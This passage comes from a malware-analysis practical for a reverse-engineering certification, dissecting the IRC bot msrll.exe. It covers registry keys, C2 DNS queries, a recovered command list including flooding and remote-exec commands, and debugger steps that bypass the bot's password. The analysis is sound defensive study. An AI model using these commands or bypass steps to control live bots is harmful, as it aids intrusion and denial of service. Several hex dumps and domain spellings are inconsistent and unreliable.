Microsoft has their own API for an ICMP.DLL that their ping and tracert applications use.

11. OPEN C:\WINNT\system32\MPRAPI.dll
Description: File that contains functions used to administer Microsoft Windows 2000 routers.

12. OPEN C:\WINNT\system32\DHCPCSVC.dll
Description: File used by Windows to provide DHCP client services.

13. OPEN C:\WINNT\system32\CRYPT32.dll
Description: File that contains the functions used by the Windows Crypto API for various applications.

14. OPEN C:\dev\random     PATH NOT FOUND
Options: Open Access: All
Note: Many attempts were made to open C:\dev\random.

Table of DLL file information from http://www.liutilities.com/products/wintaskspro/dlllibrary/shell32/

The filesystem activity reported by Filemon showed that there was a strong likelihood of network activity, and cryptographic activity related to msrll.exe.

When the msrll.exe file in C:\WINNT\System32\mfm was compared with the original extracted from the zip archive, it showed that they were exactly the same. This was a good sign. It probably meant that the malware was just copying itself, not changing or morphing as some polymorphic code can do.

MD5sum of the copied file:

![Screenshot of C:\WINNT\system32\mfm directory and MD5 sum of msrll.exe file](image-url)
Registry Analysis:

RegShot 1.61e5 showed that 47 Keys were added to the registry. Most were related to the various monitoring tools used to watch msrll.exe run. Two keys did seem to stand out which may have been created by msrll.exe:

| HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\Security |

Table Registry keys added to the registry

Regmon analysis showed that several registry values were set by both “Copy of msrll.exe” and msrll.exe:

“Copy of msrll.exe” set the following registry values:

| HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed | 8D 5A E3 C6 EC 9B A3 7E |
| HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed | 47 80 22 AC F8 D2 DB A0 |
| HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed | 26 C7 B0 8A 30 SE BE 56 |
| HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed | 64 D3 37 57 2F 6E 30 43 |
| HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed | 49 80 1C B2 18 6B 84 A8 |
| HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed | CE 39 3C 74 87 CE A0 39 |
| HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed | 12 D4 6A B3 DB D6 AB FD |

Table Registry values set by “Copy of msrll.exe” process

Msrll.exe set the following registry values:

| HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints\C|BaseClass | "Drive" |

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Both filesystem activity and registry activity showed that msrll.exe was very active with cryptographic functions. Additionally, msrll.exe was referencing Internet Explorer files used by the Administrator ID that started the process.

Regshot showed some information about the registry as well. Filtering through all the log data, the following registry information seemed to apply to the msrll.exe malware.

The following keys were added:

<table>
<thead>
<tr>
<th>Table Registry values set by msrll.exe process</th>
</tr>
</thead>
<tbody>
<tr>
<td>HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cookies</td>
</tr>
<tr>
<td>HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\History</td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed</td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed</td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed</td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed</td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed</td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed</td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed</td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed</td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed</td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed</td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed</td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed</td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed</td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Table Registry keys added by msrll.exe process</th>
</tr>
</thead>
<tbody>
<tr>
<td>HKKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\mfm</td>
</tr>
<tr>
<td>HKKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\mfm\Security</td>
</tr>
<tr>
<td>HKKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm</td>
</tr>
<tr>
<td>HKKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\Security</td>
</tr>
</tbody>
</table>
Under the Added Values section, the following values were added:

```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\Security\Security: 01 00 14 80
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\Type: 0x00000120
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\Start: 0x00000002
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\ErrorControl: 0x00000002
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\ImagePath: 
  "C:\WINNT\system32\mfm\msrll.exe"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\DisplayName: "Rll enhanced drive"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\ObjectName: "LocalSystem"
```

Table Registry values set by msrll.exe process

Network Analysis:

**TDImon showed that msrll.exe opened 2 TCP ports:**

```
56   12.01188866  msrll.exe:488  81446308  IRP_MJ_CREATE  TCP:0.0.0.0:2200
   SUCCESS Address Open
115  13.19907167  msrll.exe:488  812C03C8  IRP_MJ_CREATE  TCP:0.0.0.0:113
   SUCCESS Address Open
```

Screenshot TDImon output showing listening sockets on port 113 and 2200

**Connections were attempted to the standard IRC service port 6667 and also 9999:**

```
114  13.19579639  msrll.exe:488  812C08C8  TDI_CONNECT  TCP:0.0.0.0:1030
    192.168.239.131:6667  TIMEOUT-181
203  44.16933940  msrll.exe:488  81331348  TDI_CONNECT  TCP:0.0.0.0:1031
    192.168.239.131:9999  TIMEOUT-181
```

Screenshot TDImon output showing connection attempt to port 6667 and 9999

**Differences in netstat output from before “Copy of msrll.exe” was run and after, also confirmed that the same two ports were opened.:**

```
TCP     malware:auth       malware:0       LISTENING
TCP     malware:2200       malware:0       LISTENING
```

Screenshot netstat --a output showing the two ports opened by msrll.exe

**Sniffer output showed attempts to find a Name server. In order to see more about what information was being queried from a DNS server, a netcat listener was started on UDP port 53 at the default gateway (Host system). Showing up on the listener there were DNS queries for a server called collective7.xzy0.com:**

```
C:\Documents and Settings\Leibolt>nc -u -l -p 53
00 0 0 collective7.xzy0.com
00 0 0 collective7.xzy0.com
00 0 0 collective7.xzy0.com
00 0 0 collective7.xzy0.com
```

Screenshot netcat session showing DNS queries
The Packet yzer sniffer also showed the DNS requests:

<table>
<thead>
<tr>
<th>Domain Name System (query)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Transaction ID: 0xa3a</td>
</tr>
<tr>
<td>Flags: 0x0100 (Standard query)</td>
</tr>
<tr>
<td>0... ......... = Response: Message is a query</td>
</tr>
<tr>
<td>.000 0... ......... = Opcode: Standard query (0)</td>
</tr>
<tr>
<td>...... 0. ......... = Truncated: Message is not truncated</td>
</tr>
<tr>
<td>...... 1 ......... = Recursion desired: Do query recursively</td>
</tr>
<tr>
<td>...... 0... .... = Z: reserved (0)</td>
</tr>
<tr>
<td>...... 0... .... = Non-authenticated data OK: Non-authenticated data is unacceptable</td>
</tr>
<tr>
<td>Questions: 1</td>
</tr>
<tr>
<td>Answer RRs: 0</td>
</tr>
<tr>
<td>Authority RRs: 0</td>
</tr>
<tr>
<td>Additional RRs: 0</td>
</tr>
<tr>
<td>Queries</td>
</tr>
<tr>
<td>collective7.zxy0.com: type A, class inet</td>
</tr>
<tr>
<td>Name: collective7.zxy0.com</td>
</tr>
<tr>
<td>Type: Host address</td>
</tr>
<tr>
<td>Class: inet</td>
</tr>
<tr>
<td>0000: 00 50 56 C0 00 01 00 0C 29 B8 60 0E 08 00 45 00 .PV.....)`...E.</td>
</tr>
<tr>
<td>0010: 00 42 00 F7 00 00 80 11 D9 DC C0 A8 EF 84 C0 A8 .B.............</td>
</tr>
<tr>
<td>0020: EF 01 04 14 00 35 00 2E 59 76 AA 3A 01 00 00 01 ......5...v.....</td>
</tr>
<tr>
<td>0030: 00 00 00 00 00 00 00 0B 63 6F 6C 65 63 74 69 76 ......collectiv</td>
</tr>
<tr>
<td>0040: 65 37 04 7A 78 79 70 30 00 01 00 01 e7.zxy0.com.....</td>
</tr>
</tbody>
</table>

Screenshot sniffer output showing DNS request for collective7.zxy0.com

Since msrll.exe was using DNS queries to find collective7.zxy0.com, the VMware Linux system IP address was placed into the WINNT/system32/drivers/etc/hosts file on the VMware Windows 2000. The entry made was: 192.168.239.131 collector7.zxy0.com. Since the host file was checked before the DNS server was queried, msrll.exe would think the VMware Linux system was collector7.zxy0.com.

Re-running the msrll.exe showed that it attempted to communicate with the Linux system on common IRC port 6667, then, probably because that port was not open, 9999, then 8080. The previous TDImon information only told the analyst about port 6667 and 9999. This was because the analyst did not previously let the msrll.exe process run long enough. Now the analyst knew that port 8080 was used.

<table>
<thead>
<tr>
<th>Source: 192.168.239.130 (192.168.239.130)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Source or Destination Address: 192.168.239.130 (192.168.239.130)</td>
</tr>
<tr>
<td>Destination: 192.168.239.131 (192.168.239.131)</td>
</tr>
<tr>
<td>Source or Destination Address: 192.168.239.131 (192.168.239.131)</td>
</tr>
<tr>
<td>Transmission Control Protocol, Src Port: 1064 (1064), Dst Port: 6667 (6667),</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Source: 192.168.239.130 (192.168.239.130)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Source or Destination Address: 192.168.239.130 (192.168.239.130)</td>
</tr>
<tr>
<td>Destination: 192.168.239.131 (192.168.239.131)</td>
</tr>
<tr>
<td>Source or Destination Address: 192.168.239.131 (192.168.239.131)</td>
</tr>
<tr>
<td>Transmission Control Protocol, Src Port: 1065 (1065), Dst Port: 9999 (9999),</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Source: 192.168.239.130 (192.168.239.130)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Source or Destination Address: 192.168.239.130 (192.168.239.130)</td>
</tr>
<tr>
<td>Destination: 192.168.239.131 (192.168.239.131)</td>
</tr>
<tr>
<td>Source or Destination Address: 192.168.239.131 (192.168.239.131)</td>
</tr>
<tr>
<td>Transmission Control Protocol, Src Port: 1066 (1066), Dst Port: 8080 (8080)</td>
</tr>
</tbody>
</table>

Screenshot sniffer output showing connection attempts to IRC ports
Netcat could easily be used to see what msrll.exe was trying to do on port 6667, but since 6667 was a port often used for IRC, an actual IRC service was set up on that port.

The IRC server was set up on the VMware Linux system using ircd-2.8/hybrid-6.3.1 using the same configuration used in the "Reverse-Engineering Malware: Tools and Techniques Hands-On" training class. Ports 6667 and 6666 were configured as the IRC communication ports.

Now that the msrll.exe thought it was communicating with collective7.xzy0.com on port 6667, a test was made to see what happened.

As expected, the msrll.exe malware joined, and thereby established a channel called #mils. The nick used was MeLpUegXWem.

Two packets captured in the Packetryzer sniffer showed the connection to the IRC server and the request to join the #mils channel:

Frame 11 (116 bytes on wire, 116 bytes captured)
Internet Protocol, Src Addr: 192.168.239.130 (192.168.239.130), Dst Addr: 192.168.239.131
Transmission Control Protocol, Src Port: 1113 (1113), Dst Port: 6667 (6667),
Internet Relay Chat
Request Line: USER kmvvkMHGBa localhost 0 :mkPIeGFTPnRWQjz
Request Line: NICK MeLpUegXWem
0000: 00 0c 29 5c b1 15 00 0c 29 b8 60 0e 08 00 45 00 ..)....).
0010: 00 66 01 d6 40 00 80 06 98 64 c0 a8 ef 82 c0 a8 .f...d.....
0020: ef 83 04 59 1a 0b ac c4 ba 7e 90 0b cb 28 50 18 ...Y......(P.
0030: fa 7d 1a c6 00 05 53 45 42 61 6c 69 73 74 20 30 20 3a 6d 6b 50 49 47 46 50 52 57 51 6a 7a 0a 4e 49 43 4b 20 23 6d 69 6c 73 20 30 20 3a mkPIeGFTPnRWQ
0040: 4d 48 47 42 61 6c 69 73 74 20 30 20 3a 6d 6b 50 49 47 46 50 52 57 51 6a 7a 0a 4e 49 43 4b 20 23 6d 69 6c 73 20 30 20 3a 00 0c 29 5c b1 15 00 0c 29 b8 60 0e 08 00 45 00 ..)....).

Frame 35 (67 bytes on wire, 67 bytes captured)
Internet Protocol, Src Addr: 192.168.239.130 (192.168.239.130), Dst Addr: 192.168.239.131
Transmission Control Protocol, Src Port: 1113 (1113), Dst Port: 6667 (6667),
Internet Relay Chat
Request Line: JOIN #mils :
0000: 00 0c 29 5c b1 15 00 0c 29 b8 60 0e 08 00 45 00 ..)....).
0010: 00 35 01 db 40 00 80 06 98 90 c0 a8 ef 82 c0 a8 .5.........
0020: ef 83 04 59 1a 0b ac c4 ba 7e 90 0b cb 28 50 18 ...Y......(P.
0030: fa 7d 1a c6 00 05 53 45 42 61 6c 69 73 74 20 30 20 3a 6d 6b 50 49 47 46 50 52 57 51 6a 7a 0a 4e 49 43 4b 20 23 6d 69 6c 73 20 30 20 3a 00 0c 29 5c b1 15 00 0c 29 b8 60 0e 08 00 45 00 ..)....).

Screenshot sniffer output showing connection to IRC server and a join to #mils channel

Analysis of the sniffer output showed that the msrll.exe malware connected to the IRC server and performed these three commands: JOIN #mils, MODE #mils, WHO #mils.

Naturally, a logical step was to see if any communication could be established with the msrll.exe nick. Therefore, the analyst also joined the #mils channel and attempted a variety of commands to see if any communication could be established. Some of the commands the analyst used were: hello, test, hi, password, pass, open, login, private, and secret in both open mode and using /msg directly to the nick used by the msrll.exe malware. Nothing the analyst tried generated any responses. While playing with the IRC channel, the analyst noticed that each time the msrll.exe malware connected to the IRC server, it used a different nick (which were all cryptic names that looked auto-generated).
Since playing with IRC lead nowhere, attention was directed to the two ports opened on the infected system by msrll.exe. The first port was running on 113 and usually supported the auth service. The sniffer output showed attempts by the IRC server to use the auth port to identify the user. Port 113 responded which IRC reported:

```
Frame 15 (107 bytes on wire, 107 bytes captured)
Internet Protocol, Src Addr: 192.168.239.130 (192.168.239.130), Dst Addr: 192.168.239.131 (192.168.239.131)
Transmission Control Protocol, Src Port: auth (113), Dst Port: 32779 (32779)
0000: 00 0c 29 5c b1 15 00 0c 29 b8 60 0e 08 00 45 00 ..}
0010: 00 5d 01 08 40 00 80 06 98 69 00 08 00 3a 00 08......
0020: ef 83 00 71 80 0b c8 9b c9 95 19 eb 2b 19 80 18 ...q.........+
0030: fa e3 51 1d 00 01 d8 40 00 80 06 98 69 00 08 00 45 00 ..}
0040: 00 4d 4a 38 00 08 06 90 00 08 00 3a 00 08 00 3a 00 08...
0050: ef 83 00 71 80 0b c8 9b c9 95 19 eb 2b 19 80 18 ...q.........+
0060: 00 4d 4a 38 00 08 06 90 00 08 00 3a 00 08 00 3a 00 08...
```

So the analyst now knew what port 113 was used for. Port 2200 was another story. Sniffer logs did not show any activity with port 2200. Netcat was used to connect to TCP port 2200 which responded with "#:" prompt.

Standard commands such as "dir" and "cd" did not work, so it did not appear to behave as if it were a command shell with a "C:" prompt. The connection with port 2200 was closed after the second command was typed and the Enter key was pressed. This suggested that some kind of password was required to allow access.

**Code Analysis**

After numerous attempts were made at trying to communicate through the #mils, IRC channel and, also, with whatever was running on TCP port 2200 with no success, it was time to look at the code.

The analyst already suspected that the code was packed with ASPack. So the analyst tried loading the executable into IDA Pro 4.6 Evaluation Version. When the analyst did this, the following message appeared:

```
GREM 1.0 – Gregory Leibolt
© SANS Institute 2004. As part of GIAC practical repository. Author retains full rights.
```
The imports segment seems to be destroyed. This may mean that the file was packed or otherwise modified to make it more difficult to analyze. If you want to see the import segments in the original form, please reload it with the 'make imports section' checkbox cleared.

Screenshot IDA Pro information message when loading packed msrl.exe

Again it looked like msrl.exe was a packed executable.

LordPE was used to try to dump the unpacked code. To do this, msrl.exe was run, then LordPE was attached to the process and “dump full” was selected. The dumped memory was then saved to a file called “msrll-dumped.”

The bintext tool, with the default settings, was used to view strings in this dumped code, which provided a lot of useful information. Some of the most interesting ones are shown below with comments:

<table>
<thead>
<tr>
<th>STRING</th>
<th>COMMENT</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;die</td>
<td>join</td>
</tr>
<tr>
<td>jtram.conf</td>
<td>This is the name of the file msrl.exe created</td>
</tr>
<tr>
<td>dcc.pass</td>
<td>Maybe a dcc password is used</td>
</tr>
<tr>
<td>mIRC v6.12 Khaled Mardam-Bey</td>
<td>It looks like some or all of mIRC is included in this program</td>
</tr>
<tr>
<td>resume</td>
<td>Possibly a command</td>
</tr>
<tr>
<td>DCC RESUME %s %s %u</td>
<td>Here is resume used with DCC</td>
</tr>
<tr>
<td>??insmod</td>
<td>All of these strings with the question mark look like commands</td>
</tr>
<tr>
<td>??rmmod</td>
<td></td>
</tr>
<tr>
<td>??lsmod</td>
<td></td>
</tr>
<tr>
<td>??ping</td>
<td></td>
</tr>
<tr>
<td>??smurf</td>
<td></td>
</tr>
<tr>
<td>??jolt</td>
<td></td>
</tr>
<tr>
<td>??status</td>
<td></td>
</tr>
<tr>
<td>??jump</td>
<td></td>
</tr>
<tr>
<td>??nick</td>
<td></td>
</tr>
<tr>
<td>??echo</td>
<td></td>
</tr>
<tr>
<td>??hush</td>
<td></td>
</tr>
<tr>
<td>??wget</td>
<td></td>
</tr>
<tr>
<td>??join</td>
<td></td>
</tr>
<tr>
<td>??akick</td>
<td></td>
</tr>
<tr>
<td>??part</td>
<td></td>
</tr>
<tr>
<td>??dump</td>
<td></td>
</tr>
<tr>
<td>??md5p</td>
<td></td>
</tr>
<tr>
<td>??free</td>
<td></td>
</tr>
<tr>
<td>??update</td>
<td></td>
</tr>
<tr>
<td>??hostname</td>
<td></td>
</tr>
<tr>
<td>??if</td>
<td></td>
</tr>
<tr>
<td>??play</td>
<td></td>
</tr>
<tr>
<td>??copy</td>
<td></td>
</tr>
<tr>
<td>??move</td>
<td></td>
</tr>
<tr>
<td>??sums</td>
<td></td>
</tr>
<tr>
<td>??rmdir</td>
<td></td>
</tr>
<tr>
<td>??mkdir</td>
<td></td>
</tr>
</tbody>
</table>

GREM 1.0 – Gregory Leibolt
Table of interesting strings from bintext on unpacked msrll.exe

Please note that, because of the default settings on bintext, all the commands were not extracted. “Hackers” will sometimes use short command names to avoid a strings extraction. It is important to use appropriate settings when searching for strings. Additional commands in msrll.exe were identified later using another technique. All these strings extracted from msrll.exe provided commands to try in the #mils IRC channel. When these commands were attempted, nothing created any response. The same commands were tried on the TCP 2200 port without success as well. This was highly frustrating because it very much looked like these were commands used by msrll.exe, but nothing worked. The problem appeared to be that some kind of
authentication was required. There were some strings that might possibly be a password, but there were also the encrypted strings, which could be passwords, but the analyst did not have a way to decrypt them.

If an unpacked version of msrll.exe could be used in a debugger, breakpoints could be set and the operation of the program can be stepped through. LordPE was able to extract the unpacked code from memory, but it could not run as a stand-alone executable because it did not have a PE header. It might have been possible to find where the unpacker completed the unpacking of the msrll.exe code, put a breakpoint there, and then save that code to a file using one of OllyDebug’s plug-ins to re-create the PE header.

OllyDebug v109.d (Step 4) was used to control stepping through the execution of msrll.exe. A memory address was identified, 0051DF63, where the unpacking was completed and was about to be executed. Setting a breakpoint at this address and stepping forward using F7 caused an error: “Don’t know how to step because memory address CC4EAB06 is not readable. Try to change EIP or pass exception to program.” The EIP is the program counter often referred to as %eip, for “extended instruction pointer. It points to the memory location of the next instruction the processor will execute. In this case, the packer, probably ASPack, modified the value in EIP to point to an unusable address for this point in the running program. The packer stored the correct address, but not knowing what it was, numerous things were tried to get around it, but to no avail.

In the “hacking” world, someone works to find a way to create a tool to undo another tool’s work. With this thought in mind, the search for a tool to unpack msrll.exe began.

A lot of sites were found with numerous unpacking tools for every kind of packer. At http://www.woodmann.com/crackz/Packers.htm#aspack_asprotect several different unpackers were available for multiple versions of ASPack. Not knowing which version of ASPack was used to pack msrll.exe, the analyst downloaded several of them. The downloads were checked with a virus checker and then tried against msrll.exe.

The unpackers that were downloaded and tried were:

<table>
<thead>
<tr>
<th>unpacker</th>
<th>result</th>
</tr>
</thead>
<tbody>
<tr>
<td>DeASPack v2.11</td>
<td>Unsuccessful</td>
</tr>
<tr>
<td>QcASPack v1.0.1</td>
<td>Unsuccessful</td>
</tr>
<tr>
<td>Unaspack v1.0.9.1</td>
<td>Unsuccessful</td>
</tr>
<tr>
<td>AspackDie v1.3d</td>
<td>SUCCESS!</td>
</tr>
</tbody>
</table>
This is the readme for AspackDie:

AspackDie 1.3d
--------------
This is a small unpacker for PE files (EXE, DLL, ...) which got compressed by Aspack 2.11/2.11c/2.11d/2.12.
Have a look at the source code for more information.

Please send me files which don't work after unpacking if they were compressed by one of the supported version.

Known errors: - the unpacking process for DLLs fails if it imports at least one DLL that could not be located by the Win32 loader

Command line: AspackDie [input file path] [output file path]

Greetz:
avlis, phantasm, Stone, analyst, MackT, ELiCZ, Jeremy Collake, Perfx, Daedalus, Snow Panther and all I forgot...

HaVe PhUn!

yoda

E-mail: LordPE@gmx.net
Check: y0da.cjb.net

Now that msrll.exe was unpacked, OllyDebug could be used to watch and manage it! The unpacked msrll.exe was loaded into OllyDebug and time was spent stepping through the execution of the program to become familiar with the over-all activity and structure of msrll.exe.

To learn more about possible commands, the string search function in OllyDebug was used to find the string “?login.” This search found a listing of commands, which were later used in further testing. Most were obviously commands, and others such as “VERSION,” “PING,” and “IDENT” might not be. The following table displays these commands starting at address 00409345:

<table>
<thead>
<tr>
<th>Address</th>
<th>ASCII</th>
<th>Address</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>00409345</td>
<td>3F 73 69 00</td>
<td>00409355</td>
<td>3F 63 6C 6F 6E &gt; ASCII &quot;?clones&quot;, 0</td>
</tr>
<tr>
<td>0040934E</td>
<td>3F 63 6C 6F 6E &gt; ASCII &quot;?clone&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0040935D</td>
<td>3F 6C 6F 67 69 &gt; ASCII &quot;?login&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0040936C</td>
<td>3F 72 65 62 6F &gt; ASCII &quot;?reboot&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0040937C</td>
<td>3F 6A 75 70 74 &gt; ASCII &quot;?uptime&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00409388</td>
<td>3F 65 63 6C 6F 6E &gt; ASCII &quot;?clone&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00409394</td>
<td>3F 77 65 6B 74 &gt; ASCII &quot;?wget&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>004093A0</td>
<td>3F 6F 70 00</td>
<td>004093B0</td>
<td>3F 70 61 72 74 &gt; ASCII &quot;?part&quot;, 0</td>
</tr>
<tr>
<td>004093A3</td>
<td>3F 69 65 6B 69 &gt; ASCII &quot;?login&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>004093B6</td>
<td>3F 64 75 6D 70 &gt; ASCII &quot;?dump&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>004093C1</td>
<td>3F 64 69 00 &gt; ASCII &quot;?die&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>004093CC</td>
<td>3F 66 72 65 6D &gt; ASCII &quot;?free&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>004093D7</td>
<td>3F 75 70 64 61 &gt; ASCII &quot;?update&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>004093E9</td>
<td>3F 66 66 66 00 &gt; ASCII &quot;?flf&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>004093F3</td>
<td>3F 64 65 6C 00 &gt; ASCII &quot;?del&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00409403</td>
<td>3F 70 6C 61 79 &gt; ASCII &quot;?play&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0040940A</td>
<td>3F 6D 6F 76 65 &gt; ASCII &quot;?move&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00409415</td>
<td>3F 73 75 6D 73 &gt; ASCII &quot;?sum&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0040941F</td>
<td>3F 63 64 00 &gt; ASCII &quot;?cd&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0040942A</td>
<td>3F 6D 6F 64 64 &gt; ASCII &quot;?mkdir&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00409436</td>
<td>3F 65 78 65 63 &gt; ASCII &quot;?exec&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00409440</td>
<td>3F 6B 69 6C 6C &gt; ASCII &quot;?kill&quot;, 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00409450</td>
<td>3F 6D 6C 6C &gt; ASCII &quot;?del&quot;, 0</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

GREM 1.0 – Gregory Leibolt
In addition to identifying the commands, the analyst recorded different addresses that might be used for breakpoints in further testing. Since it appeared that a password or some kind of authentication was required to communicate with msrll.exe, setting breakpoints at strcmp functions would possibly provide a means to see if passwords were expected.

The strcmp calls were identified by selecting Ctrl-N in the msrll.exe executable module to show all Names. Breakpoints were set on all of them: 0040D655, 00410BD2, 00410C29, 0010C83 and 00412280. Using the IRC client on the VMware Linux system, commands were tried on the IRC #milss channel without success.

**Netcat session on port 2200:**

Attempts were then made to authenticate on the TCP 2200 port using netcat. At the “#” prompt, the analyst typed “pass BadPassword,” pressed the Enter key, then typed “XXX” and pressed the Enter key. This suddenly invoked the breakpoint at 0040D655. Nothing happened on the TCP 2200 port session, but there was the activity in the debugger. The F7 and F8 keys were used in OllyDebug to step through processing until it was apparent that two encrypted strings were being processed.

In the screenshot below, the reader can clearly see encrypted strings being processed:
Further analysis showed that whatever line of text was typed first, that line of text was
taken as the password. This could be one or more words. Whatever line of text was
typed second “pushed” the password to be checked. As seen above, the phrase: “pass
BadPassword,” shown in the bottom line, had been encrypted and its “digest” was
compared with the “stored digest” of the correct password. This can be seen at the top
of the box above in the parameters: s1 and s2 in the top two lines.

In order to authenticate to msrl.exe, a brute force password tool could be used.
However, the fact that the session was dropped after a failed attempt would have to be
dealt with. Also, there was no way of knowing if a word or a phrase was used for the
pass phrase. The better approach would be to just edit the appropriate code to make
the passwords work or to bypass the check altogether.

Stepping through the strcmp processes revealed that the analyst could set a breakpoint
at 7802745A. When the program paused at the breakpoint using OllyDebug, the
analyst double clicked on the EDX register and copied the value. Then the analyst
closed the pop-up and double clicked on the ECX register. Here the value from EDX
was pasted. The analyst closed the pop-up and pressed F9 to continue. The
encrypted password strings were now the same and access was allowed on the TCP
2200 port.

Shown below is a screenshot of the registers containing the two encrypted strings to be
compared. EDX can be copied to ECX as seen in the “Modify ECX” window:

![Screenshot of OllyDebug register window showing password comparison](image)

Another way to circumvent the password is to Open the memory window, edit 78027496
to NOP, NOP (90 90). This would ignore the test of the passwords altogether by not
taking the compare jump.
The following steps perform this:

1. View
2. Memory
3. Scroll to 78001000
4. Double Click
5. Scroll to 78027496
6. Right Click
7. Select Binary
8. Select Edit
9. Type in 90 90
10. Click OK
11. Press F9 10 times to complete the comparison of the 2 hashes, and “you’re in.”

Msrl.exe Commands:

Once communication with the msrl.exe malware was established, a variety of commands were tried to learn more about the program. It was noted during attempts to use the various commands that a “/” or a “.” may be used instead of a “?” to evoke many of the commands.

List of commands:

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>?liff</td>
<td>Did not appear to work. Do not know function or purpose.</td>
</tr>
<tr>
<td>?kick</td>
<td>Used to kick off an IRC user.</td>
</tr>
<tr>
<td>?aop</td>
<td>Did not appear to work. Probably an IRC operator function.</td>
</tr>
<tr>
<td>?clone</td>
<td>Sets up clones.</td>
</tr>
<tr>
<td>?clones</td>
<td>Sends commands to clones.</td>
</tr>
<tr>
<td>?con</td>
<td>Turns on a kind of debugging mode.</td>
</tr>
<tr>
<td>?copy</td>
<td>Copies a file locally.</td>
</tr>
<tr>
<td>?crash</td>
<td>Did not appear to work. Do not know function or purpose. Possibly destroys system.</td>
</tr>
<tr>
<td>?dcc</td>
<td>Used to send dcc commands.</td>
</tr>
<tr>
<td>?dccsk</td>
<td>Used to connect to IRC servers.</td>
</tr>
<tr>
<td>?del</td>
<td>Deletes files locally.</td>
</tr>
<tr>
<td>?die</td>
<td>Used to remove clones.</td>
</tr>
<tr>
<td>?dir</td>
<td>Lists a local directory.</td>
</tr>
<tr>
<td>?dump</td>
<td>Did not try. Do not know function or purpose.</td>
</tr>
<tr>
<td>?echo</td>
<td>Echoes string input.</td>
</tr>
<tr>
<td>?exec</td>
<td>Used to exec a process.</td>
</tr>
<tr>
<td>?liff</td>
<td>Did not appear to work. Do not know function or purpose.</td>
</tr>
<tr>
<td>?free</td>
<td>Removes commands.</td>
</tr>
<tr>
<td>?hostname</td>
<td>Displays the hostname of the computer.</td>
</tr>
<tr>
<td>?hush</td>
